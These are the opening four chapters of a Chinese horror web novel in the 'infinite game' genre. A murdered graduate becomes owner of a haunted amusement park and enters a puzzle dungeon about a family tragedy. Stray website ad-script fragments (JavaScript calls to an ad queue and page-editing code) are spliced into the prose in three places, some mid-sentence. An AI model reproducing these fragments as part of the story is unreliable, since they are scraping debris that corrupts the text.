《迷雾乐园[无限]》 1. 她噶了? “滴嘟滴嘟滴嘟……” 模糊的视线中,不断闪烁的红蓝/灯光伴随着刺耳的鸣笛声由远及近。 额角胀痛,郝荨吃力地坐起身,怀中物体滚落在地。 这是……? 她目光微颤,缓缓低下头。 对上了一颗双目暴突、满是血迹的头颅。 “啊!” 警车停下,她下意识想跑,却被车上下来的人影团团围住。 郝荨立刻举起双手,用自己最无辜的表情试图解释:“我没有杀人!” 法医拎着箱子快步跑来,她还想解释。 下一秒,却见对方脸色不变,毫不犹豫地从她身体中穿行而过。 “城郊乐园发现一具男性尸体,现场没有其他人……” 啊,她想起来了。 ——原来,她已经死了。 * 昨天下午五点。 金橙色的夕阳笼罩在这片荒芜的建筑群,多种风格混杂却不显得杂乱,反倒兼具现代与古典奇幻之美。 二十多年前,这里曾是山海市最著名的豪华度假乐园,但本地人恐怕更熟悉它的另一个的名字——迷雾乐园。 先后接手的三任老板两死一失踪,第四任老板还没上任精神就出了问题,从此再无人敢接手这个项目。 小黄车“吱”一声停下,郝荨单脚点地,气喘吁吁地掏出手机: 【我已经到了,请问在哪面试?】 她打量四周,视线划过山上建到一半的欧式古堡,又看向山脚处的空壳洋楼,最终将目光落在唯一一处还算完好的建筑——工人宿舍上。 宿舍位于整片乐园的最前头,穿过这扇布满锈迹的铁门就能进入。 铁门上挂着把大锁,可不知是被人偷了还是怎么,铁栅栏断了好几根,将将露出一个能容单人通过的洞口。 郝荨来到门前扬声: “你好?有人吗?” 她试着晃了晃铁门,想要发出些动静,却只听“咔”一声—— 郝荨愣住,呆滞地看向手中断裂的栅栏。 靠,豆腐渣工程啊? 四下无人,她连忙丢进草丛中“毁尸灭迹”。 郝荨小心翼翼地穿过门洞,祈祷千万不要被人发现,她可赔不起这钱。 她的口袋空空如也,浑身上下加起来也不过就一百二十七块八毛,冷风吹过,她的心就和这里的风一样拔凉。 刚刚大学毕业,各自再婚的父母便默契地与她断联,学的专业也是公认的“毕业即失业”,连续面试近一个月的她如果再找不到工作,月底就要睡桥洞去了。 就在这时,有人联系她说,这里有份实习三千五转正六千加提成的工作,包吃住,还交五险一金,唯一的要求就是要胆子大不能怕鬼。 什么话? 这叫什么话?! 她都快穷成死鬼了,还有什么鬼能比穷更可怕! 因此她果断决定赌一把,答应了面试。 这鬼地方还没公交,她舍不得打车,只好一个人骑了一个多小时单车来到这片废弃的乐园。 也不知道多久没人来过了,茂盛的草丛中布满碎石,踩起来“嘎吱嘎吱”的,一不小心就会崴到脚。 工人宿舍是栋三层的破旧小楼,厚实的灰尘均匀铺在地上,看不出有踩踏过的痕迹。 郝荨皱起眉:“你好?” 空荡荡的宿舍楼里,她的声音来回传荡,有点像鬼片里的场景。 透过小窗往里看,工人似乎走得很匆忙,遗留下许多生活物品,纷乱落在房间各处。 “哒。” 一声轻微的响动从她身后传来,郝荨顿住脚步。 她小心回过头,身后什么也没有。 不知怎的,她忽然有些害怕。 “嗡。” 手机弹出一条新信息。 ——【你在哪?】 【我在宿舍!】 郝荨赶忙回复,天色渐暗,她逐渐焦躁起来。 为了打发时间,她又晃到下一间房,这间房门没关,里头摆了张单人床,看起来也要干净一些,可能是工头住的? 只是房里隐隐有股说不上来的奇怪味道。 “嗡。” 郝荨拿起手机查看: ——【你在哪?】 对方似乎没看到她说的,又发了一条。 网络不好? 郝荨疑惑地看了眼满格信号,再次回复道: 【我在宿舍这里。】 落日的光辉洒在废墟上,枯叶伴着风在空中翻飞,散发出一种诡异的破败美感。 郝荨边闲逛边展开畅想,这家公司是初创公司,她查了一下,员工虽然不多,注册资本却有五百万,对方既然约在这里面试,恐怕她接下来的工作就与这座废弃乐园相关…… 手机再次震动。 ——【你在哪?】 郝荨:“……” 血压有点高了。 【我在宿舍,是信息发不出去吗?】 几乎是下一秒,又一条信息弹出。 ——【你在哪?】 最后一丝余晖消散,四周阴沉沉的,几乎没有一丝光亮。 显然,也没有另一只会发光的手机。 她被耍了? 郝荨被气笑,密集的键盘敲击音响起,她飞快打字: 【耍我?】 ——【你在哪?】 【我去给你买橘子!】 ——【你在哪?】 【?】 ——【你在哪?】 ——【你在哪?】 ——【你在哪?】 …… 郝荨飞舞的手指渐渐停下,对话框中骂人的话只打到一半,对面已经连续发了十几条一模一样的【你在哪?】。 气泡不断刷屏,手机持续震动着,密集的“嗡嗡”声在空旷的乐园显得异常响亮,她不由自主地握紧手机。 被血压压下的害怕再度浮现。 突然,手机停止了震动。 放弃了? 她轻轻吐了口气,可就在下一秒,手机再度亮起: ——【找到你了。】 郝荨呼吸一窒,一阵寒意冷彻全身。 与此同时,一股浓烈到令人作呕的玫瑰甜香从身后传来,快要腐烂了似的,夹杂着晦涩的、灰暗的水汽。 呼吸不由自主急促,郝荨僵硬回过头,水泥楼后缓缓探出一个黑色人影。 见她回头,那人影咧开嘴,露出一个恶劣的笑: “终于…找到你了。” 郝荨大骂一声,拔腿就跑! 她发誓,哪怕是高考她也没有跑得这么快过。 车就靠在门口,没有上锁,只要她上了车,只要——! 她高高跃起,新生的月光映照在她身上,仿佛一只灵巧的小鹿—— “砰——!” 小鹿被一股巨力拖拽倒地,可怕的捕食者死死按住小鹿的脖颈,掏出一柄泛着冷光的匕首。 郝荨瞳孔紧缩,拼命拍打对方。 潮湿的水雾渐渐从山上蔓延下来,皎洁的月光照在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那人身上,他穿着宽松而单薄的T恤,四肢细瘦,力气却极大。 他定定地盯着郝荨,眼神奇特。 郝荨不受控地与他对视,周遭一切逐渐模糊淡化,她的眼中只有那双眼睛。 这是一双很怪异的眼睛,瞳孔很大,眼白却很小,在月光下泛着点点绿光…… 像是死后的尸体。 相比较这双眼睛,贯穿眉眼的那道伤疤都显得平平无奇了。 呼吸愈发困难,恍惚间她好像看到有什么东西从他背后摇曳而出,那东西细若游丝,顺着他的脖子攀援向前,像是一丛混着血色的枯绿根茎。 但再一眨眼,那丛根茎又消失不见。 仿佛一切都是缺氧造成的幻觉。 “为……为什么?” 那人露出一个意味深长的笑:“别怪我,要怪就怪你是——” 一群乌鸦飞过天空,扑棱棱的翅膀扇动声遮掩住了他剩下的话语,月亮也被浓重的雾霭遮蔽住。 模糊的视线中,郝荨只看到那人举起匕首,重重向她挥下。 她陷入黑暗。 * 断了头的尸体被担架抬走,现场没有找到第二个人存在过的痕迹。 郝荨颓丧地蹲在大门口,头发乱蓬蓬,她抖着腿,手指捏成个不自然的圈,放在嘴边虚空吸了一口,长长吐了一口气。 “所以——我成了天选之子?” 【准确说,是神之子哦。】 冰冷的机械音凭空响起,在她眼前化作了一颗……黑色的眼球虚影。 Q/Q弹弹。 据这个眼球,不,“神使”所说,这个世界上每天都有无数人死去,一些幸运的人会被神明选中,赐予成为“门匙”容器的机会。 ——这样的人被称为“神之子”。 只需要付出一点点代价,进入神明为孩子们创造的游戏场便可挣得升级“门匙”的机会。 “门匙”等级越高,身为容器的她就能获得更多幸存时间。 郝荨面无表情,又虚空吸了一口。 简单来说,就是她被这劳什子神明选中,要进入那什么无限流副本卷生卷死来换取活下去的机会。 算了,也没差。 反正都是打工,给谁打不是打。 她回过头去望了眼依山傍水的废弃乐园,给神明打工至少还能有地,干了! 是的,虽然不知道昨夜究竟发生了什么,但她已经与这片乐园绑定,或者说,她成为了这座“门匙”的容器。 从此,她就是这片乐园的主人。 做下决定的瞬间,她的眼前忽然涌现出庞大的白色光芒刺穿了她,稍一停顿,这团光芒又以光速收回她的身体。 【容器生成中——】 【生成成功。】 郝荨感受了一下脚底的触感,她重新拥有了身体。 睁开眼,流光从她眼中划过: 【玩家代号:园长】 【天赋:(未开启)】 【门匙:迷雾乐园】 【等级:LV1(寂寂无名)】 【游乐项目:0】 【员工:0】 【……】 郝荨迅速往下浏览,一长串全是0,她伸手点开唯一有数字的一栏: 【游乐园资金:127.8(元)】 好熟悉的数字,郝荨头晕目眩。 有没有搞错! 这什么破神明? 不给她发工资就算了,还要侵吞她的遗产! 她现在选择放弃还来得及吗? 2. 欢迎来到迷雾游戏 放弃,显然是来不及的。 她站在熙熙攘攘的酒吧大厅中,神色茫然。 上一秒她还站在断了几根的铁门前,下一秒天色变换,太阳像是加速过的游戏场景般迅速落下。 升起一轮红色血月。 只是迈了一步而已,她就进入了这座长得像是酒吧的“游戏大厅”。 每个人脸上都戴着面具,样式不一。 她伸手摸了摸,有什么金属质感的面具罩在她的上半张脸上,郝荨松了口气。 【欢迎来到迷雾大厅。】 斜后方伸出一只端着托盘的手,郝荨回头望去,这是一位身穿白色衬衣和复古马甲的……羊头女“人”。 她身形优雅,脖子上顶着一颗巨大的黑色山羊头颅,金黄色的眼中流动着细沙,让人移不开眼。 【我是大厅的管理者“十三”,请选一杯酒吧。】 郝荨正要拒绝,十三纤细的手指抬起,轻轻打了个响指。 “啪。” 十三只酒杯出现在了托盘上。 【这是神明为新诞生的孩子准备的礼物,请不要拒绝。】 虽然她说了“请”,语气也很温柔,但郝荨敏锐察觉到周围人投注过来的目光充满了幸灾乐祸。 “快看,新人!” 有着狂放络腮胡的男人把啤酒一放,不屑道:“新手场活下来才叫新人,现在,只能说是死人。” 郝荨再次望向眼前的托盘,十三只形状不一的精致酒杯中装着各种颜色的酒液。 她不懂酒。 但“13”这个数字很特别,西方神话中,“13”被认为是不吉利的数字,代表了“背叛者”。 明明是神明创造的游戏,却由“背叛者”来发放礼物…… 有点东西。 郝荨挑了挑眉,径直拿起放在最后的第十三只蛇型杯。 既然要寻求刺激,自然要贯彻到底。 这杯酒液是漂亮的血红色,有些诡异,郝荨屏住气息一饮而尽。 除了辣以外没尝出什么味道来。 她扭曲着脸放下酒杯,酒杯放下的那刻突然变成了一柄小巧的女士左轮手木仓,通体银色,木仓柄上雕刻了一团红色花朵。 【恭喜玩家获得神明赠礼——弗兰德斯之木仓】 【武器:弗兰德斯之木仓】 【品阶:蓝】 【描述:此木仓使用特殊子弹,可对无实体怨念造成伤害,子弹由玩家的“理智”凝结而成,超负荷使用将进入疯狂状态,请玩家小心使用。】 “咦…新人……?” 一个戴着羽毛眼罩的女孩跌跌撞撞走了过来,似乎喝得有点醉了。 她一把揽过,郝荨只来得及将刚获得的武器放进口袋,就被带到了吧台。 十三修长的手指划过黑胶唱片,留声机转动,音乐如有形般流淌着。 滑过酒柜时,酒柜中的各式各样的酒都仿佛随着乐曲跳舞,那酒柜非常漂亮,无数种酒塞在柜中,就像是一面无边无际的星空。 昏黄的灯光下,她的手指灵巧地在酒瓶间跳跃,动作流畅而优雅。 冰块、酒液,再加上最后的点缀。 她将酒杯轻轻往前一推,露出一个神秘莫测的微笑: 【DeadlyMary(致命玛丽),客人请用。】 “别怕,迷雾大厅是绝对安全的!” 戴眼罩的女孩眼神迷离,胸口的红宝石胸针闪烁,衬得她两颊上的雀斑愈发清晰。 郝荨眯了眯眼。 “像咱们这种人,也就只有在这儿才能放松一下了……”女孩有些失落,打了个酒嗝。 “怎么说?” 女孩盯着她看了一会儿,忽然欺身而上: “知道成为神之子的代价是什么吗?” “进入迷雾游戏?” 女孩低声问:“那你想过…神明究竟为什么要大家进入游戏吗?” 郝荨一愣。 女孩笑了笑:“老玩家们私下里流传着一个说法,据说——最优秀的那个孩子,能获得一个愿望。” 她越靠越近,到最后你甚至无法分辨她是不是在说梦话。 “财富、智慧、永生,甚至是……成为神明。” 话音刚落,角落里忽然传来一声巨响。 她们回头望去,七零八落的桌板下探出一颗卷毛脑袋。 女孩站了起来,将那杯致命玛丽喝完:“所以在迷雾游戏里,不要相信任何人。” 羽毛眼罩下,女孩比了个wink,便头也不回地转身离开。 不远处,络腮胡冷笑一声: “小偷又盯上新人了?” “啧!” 雀斑女孩站定:“什么小偷?放尊重点,我只是个手艺人!” 她翻了个白眼,手指一动,一支精致的银色手木仓滑到掌心。 代号“盗心”的女孩满意一笑,她可是告诉了那些两眼一抹黑的新人最重要的经验,还亲自给人上了一课。 交易两清! 正要退出大厅,身后突然传来一道声响: “任何人?也包括你吗?” 被发现了? 盗心眉毛一挑,新人素质不错嘛,难怪新手礼盒就开到了蓝阶武器。 不过嘛,晚了。 她嘴角噙上笑意,轻快转身:“货物送出,概不退换哦——这不可能!” 坐在吧台的女孩身形懒散,单手撑着下巴,另一只手正上下抛接着一枚眼熟的红宝石胸针。 花纹精美的银质面具下,那双眼睛像是能洞察一切般看向她。 什么时候?! 盗心猛地低头,是她靠近去“买”木仓的时候? 还是有人摔跤的时候? “有趣吗?” 郝荨将胸针抛到半空一把抓住,递了过去:“极限一换一。” 手如此之快,莫非是同行? 盗心皱眉,这么倒霉? 她一把抢过那枚红宝石胸针,这是个防护型道具,同样是蓝阶。 虽然市面上道具价格普遍比不过武器,但防护型道具和治愈型道具一样很特殊,数量非常稀少,这枚胸针是她好不容易过了B级副本抽到的,比这把木仓珍贵多了。 郝荨摊开手,看着对方不情愿地把木仓还回。 她心中悄悄松了口气,面上不显:“就这?” 盗心拧眉,络腮胡乐得见她吃亏,拱火道:“就是啊!被当场抓包也没点表示的,以后还怎么在圈子里混啊!” “有你什么事!”盗心狠狠翻了个白眼。 她在随身小包里翻了半天,才翻出一罐没有任何用处的糖果扔给她。 “行了吧!” 说完,她就跟被狗追似的忙不迭离开了大厅。 郝荨接住糖果。 【道具:一罐漂亮的星星糖果】 【品阶:白】 【描述:除了漂亮以外一无是处,糖果也想被这样夸奖,或许小孩会格外喜欢。】 这只是个进入新手副本前的小插曲。 神明在这方面还是很人性化的,新手玩家只需要在午夜来临前进入副本即可。 运气好的话甚至能在迷雾大厅里抱上老玩家的大腿,让人带着通关。 郝荨没有考虑过这种方式。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 以她多年当游戏陪玩的经验来看,玩家如果前期全是靠别人通关,那后期一定会很痛苦。 【要进入游戏了吗?】 十三的服务意识很好,她刚站起,对方温柔优雅的声音就响了起来。 郝荨点点头。 【请往这边走。】 十三抬起手,指引她绕过吧台。 这座像是酒吧的游戏大厅非常大,左侧走廊通往游戏通道,右侧则是通往包厢区,据十三所说,有很多高阶玩家团体会在那里常年包场。 是的,神之子也有等阶之分。 她对这个连游戏都要搞阶级差异的世界太失望了! 玩家团体被简单粗暴分成了低阶、中阶和高阶,与之相对的是副本阶级,低阶副本为D级和F级,B和C则为中级,高阶副本则是A及A以上。 她现在身处的就是最低阶的F级副本门口。 这里的玩家非常多,比大厅里要多很多,看起来素质也差许多。 大部分玩家都瑟瑟发抖,不自觉地抱团取暖,时不时还有个哭喊神明不公的,也不知道是不是被偷了初始道具。 剩下的应该已经进过几场游戏,每个人的脸上都流淌着淡淡的死意。 嗯,班味很重。 她立刻找回了自己做牛马的初心。 郝荨快速进入状态,自己想要活下去,就得想办法升级门匙,也就是发展乐园,可乐园现在…… 高情商:升级空间巨大。 低情商:一穷二白。 最关键的是没有人! 没有人就开展不了新项目,没有新项目就吸引不到游客,没有游客就赚不到钱,赚不到钱她就招不到人—— 看着账上仅剩的一百多块,郝荨陷入深深的沉默。 死循环啊! 周围不知何时安静了下来。 “哒、哒……” 皮靴踩在地上的声音清晰可闻。 “霍格?他怎么会来低阶区——” “嘘!小声点!” 那些死气沉沉的玩家假装没在意,实则用余光拼命给彼此使眼色,而他们的视线中心,是一个穿着一身黑的年轻男人。 他身形高挑,头发不是很规整,带着点桀骜不驯的炸毛,下半张脸被黑色面罩遮挡得严严实实。 霍格脚步顿了顿,将护目镜推上头顶。 啊,忘摘了。 他随便挑了个入口排队。 “什么意思?他要下本?” “是不是进错通道了……” “怎么可能!” “我偷偷告诉你别告诉别人啊,我听我朋友的姐姐的男朋友的朋友说……” 轮到郝荨了,她上前一步,没有在意身后的骚动。 一个光屏在她眼前弹出,有点像在玩全息网游。 【检测到神之子“郝荨”为新人玩家,接下来将为玩家解读游戏守则——】 【守则一:看守者不会说谎,请听看守者的话。】 【守则二:胜者将获得一切。】 【守则三:一切解释权归神明所有。】 郝荨:? 这神明未免也太接地气了。 【新手副本抽取中——】 【抽取成功。】 【玩家即将进入F级副本:兔子之家。】 眼前一黑,诡异的嬉笑声骤然响起,像是一把尖锥刺入她的耳膜。 【欢迎来到迷雾游戏。】 在她没有注意到的隔壁,戴着面罩的男人身影也在同一时刻被通道吞噬。 “听说,自打霍格从S级副本回来后,就一直在寻找什么东西……” 3. 兔子之家01 【欢迎来到迷雾游戏。】 视线再度亮起,窗外大雾弥漫,灰色的尘埃飘散在空气中,能见度极低。 她回过头,身后是一条狭窄而陈旧的走廊。 光线极暗,走廊两侧的老式铁门与墙壁严丝合缝,只有最里头的房间漏出一丝暖黄色亮光。 看来那里就是副本所在地了,至于这两位—— 这场游戏除她之外还有两名玩家,一个是烫了卷毛眼神清澈的青春男大,还有一个是个带半面罩一身黑的年轻男人,眼神看起来像在大○发杀了二十年的鱼。 两人都长着一张平均脸。 郝荨摸了一下自己的脸,形状很陌生。 也就是说在副本里,所有玩家都会有新形象。 再加上大厅里大家都要戴面具,郝荨垂下眼,看来神之子内部KPI压力也很大嘛。 “你们好啊,我叫,呃,你们叫我小余就好。” 男大抓了抓自己的卷毛,露出一个傻乎乎的笑。 郝荨仔细看着他的神情,人的五官会变,微表情却不会。 她对人的情绪很敏感。 看得出来,他在说谎。 “小余”并不是他真正的代号。 不过应当没什么坏心思。 她想了想道:“我叫玛伊雅弥,你们叫我玛弥就好。” “玛弥?” 小余读了两遍,是错觉吗? 总觉得有点怪怪的。 郝荨不等他反应,扬起笑道:“我是第一次下本,还好有你们在!不然一个人多可怕啊。” 一听这话,小余立刻挺起胸膛:“我是第二次进游戏,不过你们放心,我上个本跟着大佬学了很多!一定能带大家通关,那大佬可厉害了……对了!这位兄弟,你怎么称呼啊?” 小余话很多,语速也快,像是机关枪一样突突突。 年轻男人的视线从两人身上扫过,着重看了一眼郝荨。 他思索了几秒开口:“法瑟。” 郝荨挑眉。 小余根本没有听出不对,只是傻兮兮地叫了两人的名字:“玛弥,法瑟,我们走吧。” 郝荨忍住笑,几人顺着走廊向内走去,两边的墙面因为常年照不到太阳,潮湿的空气将白漆侵蚀,已经斑驳脱落大半,墙根处也生出许多暗绿色的青苔。 墙上贴着密密麻麻的各色传单和旧报纸,传单下隐隐能看见些许未清洗干净的红漆痕迹,她脚步渐缓。 这红油漆……似乎可以组成什么字。 什么瓜——里——什么米? 报纸上的日期都是八九十年代的,时间跨度很大。 郝荨大致扫了一番,有许多荒唐事发生,不是某某老汉因一分钱捅死三人,就是某男子发现几个孩子都不是亲生,又或者是某学生冒名顶替上大学还到处炫耀结果被发现等等。 小余:“啊!” 他差点滑了一跤,幸好拽住了法瑟的袖子。 “小心。”郝荨低头望去,地上有些脏污的痕迹。 法瑟不着痕迹地抽出袖子,小余没有注意,只摆手道:“我没事!” 说着,一转头又“哐”一声撞上308的大门。 他捂住鼻子退后两步:“……我真的没事!” 郝荨:…… 308的大门是一扇古老的深红色铁质防盗门,锈迹斑斑,大门被封条封住,一看就是发生过什么事的危险房间。 但与大门正中间的眼睛比起来,这些都算不了什么,那只眼睛古怪地镶嵌在大门上,眼皮闭合着,布满了细密的青筋,看着很恶心。 又是眼睛? 不等郝荨细想,眼珠突兀转动,随后缓慢睁开,露出了一颗猩红色的眼球。 “咔哒。” 防盗门开了。 一只脏兮兮的棕色玩具熊走了出来,约一米高,明明只是黑色的纽扣状眼睛,却仿佛能穿透他们似的,令人不适。 【我是[兔子之家]的看守者,编号308。】 【现发放本场考核须知:考核过程中,玩家队伍可选择任意时间向看守者进行三次提问,看守者将回答‘是’、‘否’或‘与此无关’。】 【请听题——】 【我捡到了一只兔子,悉心地照顾。】 【兔子却趁我不注意逃跑,我非常生气。】 【3】 【2】 【1】 【啊,找到你了。】 【提问:失踪的兔子去哪了?】 海龟汤吗? 她先前打工时玩过这类游戏,这种游戏的关键往往在于发散思维,用问题来找到关键线索,从而还原整个故事来通关。 玩具熊让开位置,坐在了一旁的小板凳上。 这间房的墙面重新粉刷过,上头挂着一张崭新的结婚照,照片左右各贴了一张红色喜字。装修是八九十年代常见的风格,浅黄色的柜子上铺着白色小花布,上头摆了盘喜糖,没有拿取的痕迹。 房子面积很小,玄关还顶替了餐厅的作用,一张折叠桌靠放在墙边。 穿过玄关有两间小房间,很挤,也很温馨,唯一的问题是采光不好,大概是玻璃碎了的缘故,窗户上贴着厚厚的报纸。 玄关处挂着一本泛黄的册子,上头写着: 【新世水泥厂员工记录本——周志强】 郝荨大致浏览了一番,这个周志强是水泥厂的普通工人,劳动强度很大,忙碌起来不止要负责制作,还要负责搬运,很是辛苦。 水泥厂是三班倒的老式工厂,他上的夜班很多。 粗略估计,每个月都要上将近二十天的夜班。 册子边缘还有一些随手记录的私人信息,如: 【今日鱼很新鲜,下班买一条回家】 【老大今天生日,上次他说想吃带花的蛋糕,下班去买】 【蓉蓉今天家长会,记得请假】 【……】 周志强应当很看重家人,信息大多都是关于孩子们的,但今年六月开始,他忽然停止了记录。 许多页的空白后,紧接着的就是九月,奇怪的是,从这开始就再也没有出现过孩子们的名字。 取而代之的,是一个叫“小梅”的女性。 郝荨迅速翻到最后一页,上头写着: 【明日与小梅结婚,希望这次能一切顺利。】 她扭头看向墙上的日历,正是他结婚当天。 不知是不是错觉,她嗅到了一股若有似无的铁锈味。 “啊!” 小余的叫声伴随着丁零当啷的声音响起,郝荨探头看向儿童房内。 “怎么了?” 不大的空间里挤挤挨挨塞了两张上下床,仅剩的空间里小余四仰八叉地躺倒在地,周围散落着各色小孩衣物和玩具。 衣服堆里猛地举起一只手。 “没事!” 小余扒拉了半天才钻出来,不好意思地挠挠头:“不小心被这个绊了一下。” 他捡起地上的铁皮盒递给郝荨,那是一只蓝色的老式饼干盒,上头有一层薄薄的灰尘,应当许久没有打开过了。 法瑟慢吞吞晃过来,视线经过地面时顿了顿。 郝荨敏锐注意到他的视线,低头望去,地上的衣物大小不一,男女款都有,材质差别很大,有些是手工制作的土布背心裤衩,有些却是那个年代流行的花裙子小衬衫,质地精良。 玩具也差不多,从廉价的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竹蜻蜓、七巧板到精致可爱的人偶娃娃和小飞机,她没有说什么,继续手上的动作。 饼干盒打开后,郝荨拨开彩色弹珠和各式卡片,在最下头发现了一张被撕成两半的相片。 “我脸盲了吗?这怎么和墙上的不太像啊?”小余纳闷道。 相片右侧的男人长相敦厚,有些局促地坐在椅子上,似乎不太适应拍照,而左侧的女人身量纤细,梳着条麻花辫,瓜子脸柳叶眉,笑容温婉又羞涩—— 这也是张结婚照。 郝荨走到门口望去,墙上的女人扎着马尾,高挑丰满,脸颊圆润眼神明亮,确实是完全不同的两个人。 “这应该是周志强原配吧,墙上是他的新妻子小梅。” “二婚啊?” “嗯。”郝荨点点头,“毕竟……” “四个孩子都不是自己的,离婚也很正常吧?” “啊?!”小余大吃一惊。 法瑟似乎有点不太舒服,他走到玩具熊背后,趁着没人注意一脚踢开它。 自己坐了下来。 看守者308:…… “冤大头啊?——不是,你怎么知道的?” 他眼中充满惊奇,就好像膜拜大佬似的。 郝荨边翻转边解释:“周志强六月前还是个心系孩子的好爸爸,但三个月的空白期后却突然变了个人似的,再也没提过家人一句,反倒是和新女友打得火热。” 她费力地伸手去够橱柜,柜子中放着条新鲜的鱼和一大块咸肉,还有些处理好的蔬菜水果。 “他变心了?”小余问。 “有这个可能,但他对孩子那么好,变心也没有必要抛弃孩子吧?所以我觉得应该是他们的婚姻出现了巨大的矛盾,那什么矛盾会让他连一句也不愿意提起呢?” 郝荨走到墙角的柜子前蹲下,试着用肩膀抬起柜子。 “我来!” 小余将柜子抱起,露出了下头垫着的半张报纸。 郝荨抽出报纸,屏住气吹开上头的灰尘,这正是六月一日的那份报纸,黑色油墨清晰地印着一行大字: 【骇人听闻!四孩皆非丈夫亲生,家庭面临重大危机!】 “近日,某小区内周某意外发现四个孩子都不是自己亲生,在新型检测技术的支持下,更加令人震惊的事发生了!这四个孩子竟然……哇!” 小余读着读着,嘴巴渐渐张大:“竟然拥有不同的父亲!” “嗯,我们来的楼道两边不是也贴了报纸和传单吗?” “啊?” 小余震惊,那上头也有线索吗? 郝荨转到主卧,虽说是主卧,但受限于房屋面积,这间房间并不大。 除了一张沉重的实木大床外,剩余的空间只能勉强放下衣柜,连张桌子都放不下,走道异常狭窄,单人通过都挤得慌,稍一转身就会磕到膝盖。 “那些报纸贴得很奇怪,有几份一模一样的报纸很正常,但这几份报纸的同一个板块却被不同的传单遮得七零八落,拼凑一下就能得到你手上的这份标题。而另一面墙上则被泼了红油漆,现在想想,油漆写的应该是‘狐狸精’三个字。” 郝荨打开衣柜,衣柜已经清出大半位置,除了水泥厂工作服和几件衬衫袄子外没什么特别的。 “我之前玩过一些推理类游戏,这种游戏有个原则,就是不会出现与游戏内容毫无关联的复杂线索,所以我推测拥有同样姓氏的周某就是周志强。” “啪嗒。” 一声奇怪的落地声传来,郝荨立刻回头。 卧室外空无一人,她和靠在门口打瞌睡的法瑟对视一眼。 两人同时望向门口。 一支竹蜻蜓落在地上,缓缓转了半圈。 4. 兔子之家02 郝荨上前捡起那只竹蜻蜓。 竹蜻蜓是最常见的款式,磨损严重,却很干净,主人应当很爱惜它。 “不对啊?”小余突然叫了一声。 “咱们推了这么多,兔子呢?这家也没养宠物啊?” 郝荨陷入深思,周志强这件事说来离奇,但与题目“兔子之家”没有半点关系,除非…… “我知道了!” 小余眼睛一亮,一个箭步冲到玩具熊面前:“308!我要提问!” “等等——” “题目中的兔子是人对吧?!” 郝荨一时没反应过来,只意识到屋内瞬间寂静无声,空间仿佛冻结了似的,尘埃留在它们漂浮的瞬间,纹丝不动。 308僵硬地从地上站起。 郝荨若有所思,是她的错觉吗? 总感觉玩具熊不是很高兴。 【关键问题触发,问题一回答——是。】 下一瞬间,刺耳的女人尖叫声和孩童快活的笑声一并响起,间或夹杂着几声听不清楚的叫骂声。 灯泡迅速闪烁,一阵天旋地转……等她站稳时,屋子仿佛变了一个模样。 明明还是那个摆设,连结婚照的位置都没动过分毫,却总觉得处处都透着怪异,墙壁从上至下蔓延的青苔腐烂发黄,屋内散发着一股难闻的腥臭味,让人不寒而栗。 温度似乎降低了很多,郝荨打了个冷颤。 “别睡了。” 郝荨拱了拱一直挂机的法瑟,法瑟抬起头。 有那么一瞬间,诡异的红光在他眼底闪过,郝荨恍惚了一瞬。 再仔细看去时,对方眼里只剩下了大大的问号。 她犹豫了两秒:“降温了,会感冒的。” 法瑟摇摇头:“没事。” 郝荨谨慎地挪到男大身边,还是男大好啊! 卧室的陈设没有丝毫变化,除了—— 多出了一具尸体。 不,准确的说,是类似尸体的残影。 那道残影四分五裂,散落在床上,呈现黑色的模样,就像是漫画里为了过审涂黑的小黑人。 郝荨试探着摸了一下,入手一片虚无。 “这谁?怎么东一块西一块的。”小余好奇。 郝荨将这些尸体碎块在脑海中拼凑了一番,开口道:“这个身高体型,应该是周志强。” “刚结婚就死这么惨?!” “还没结婚呢。” 她指了指墙壁上的日历和玄关上没有动过的喜糖:““橱柜里还有备好的鱼肉,说明婚宴还没开始他就死了,基本可以判定他是死在婚礼前夜。” 这场游戏变得越发扑朔迷离。 “我”捡到了一只“兔子”,悉心地照顾,“兔子”却趁“我”不注意逃跑,“我”非常生气。 ——题目中的“兔子”已经确定是人,那么,在周志强的这个复杂家庭中,谁是“我”,谁又是“兔子”? “……你转什么?” 小余扭着脖子使劲转圈,让人忍不住幻视大型犬在追尾巴。 小余停下动作,无辜道:“我背上好像有东西!” 郝荨伸手,取下一张裁剪整齐的白色纸条,上头粘了一截透明胶带,不知道他从哪里蹭到的。 【这几天医院一直加班,我没办法来看你,你要好好照顾自己。我知道孩子们去了你很难过,但生命只有一次,说不定就连老天爷也看不过眼,才会让你从昏迷中醒来呢?我相信,好人一定会有好报,不要为不值得的人献上生命。——小梅】 小余瞳孔地震:“什么情况?小孩死了?周志强也差点死了??” 郝荨接过纸条辨认,字迹很是娟秀。 “我们再找找,应该还有别的线索。” 两人在屋内重新翻找,又找到了几张信纸裁切的便签条。 全都来自于周志强的新婚妻子小梅。 【我爸妈想见你,你这几天有空吗?】 【自从六月十五那天见到你,我就对你产生了好感,说来也奇怪,你明明脸色苍白躺在病床上,我却觉得你温柔又可爱,眼中仿佛藏着无数秘密,后来我才知道你经历了许多,但或许,这些苦难都是为了让你我遇见呢?】 【我知道你还挂念你的前妻,但她已经逃跑了!连三天都没撑住,狠心留下你和孩子们承受那些流言蜚语,她配不上你!】 【下月的婚假已请好,虽然很不矜持,但我已经迫不及待想与你共度余生。】 【是孩子乱玩才会导致煤气泄漏,与睡着的你有什么关系?你为了养他们已经很辛苦了,别再自责了好吗?也不要急着拒绝我,我相信你会明白的,我们会有更好的未来。】 便签条的顺序被打乱,郝荨猜测,或许小梅在医院工作时遇见了煤气意外泄露的周志强一家,周志强命不该绝被救了回来,而四个孩子却一起死去,小梅对周志强一见钟情,展开了热烈的追求。 郝荨挑了挑眉,看向另一堆纸条,但从这里开始,字条却变得诡异起来。 【你是不是有什么瞒着我,我听邻居说……半夜听到有敲门声,是你前妻吗?】 【昨日我不该和你吵架,但你为什么非要留着那些玩具和衣服?以后我们会有新的孩子,孩子也会有新的玩具和衣服,留着那些东西只会让你想起过去!】 【不对……最近好像有人在偷看我……】 【昨天晚上你偷跑出去是去见你前妻吗?见她还要带那些玩具?不要再找借口骗我了,你知道我醒来时看到门口掉落的玩具是什么心情吗?!】 【周志强!你还想不想结婚了!】 最后一张纸条上下方出现了新的字迹,与记录本上的一致,是周志强所写: 【我会解决的。】 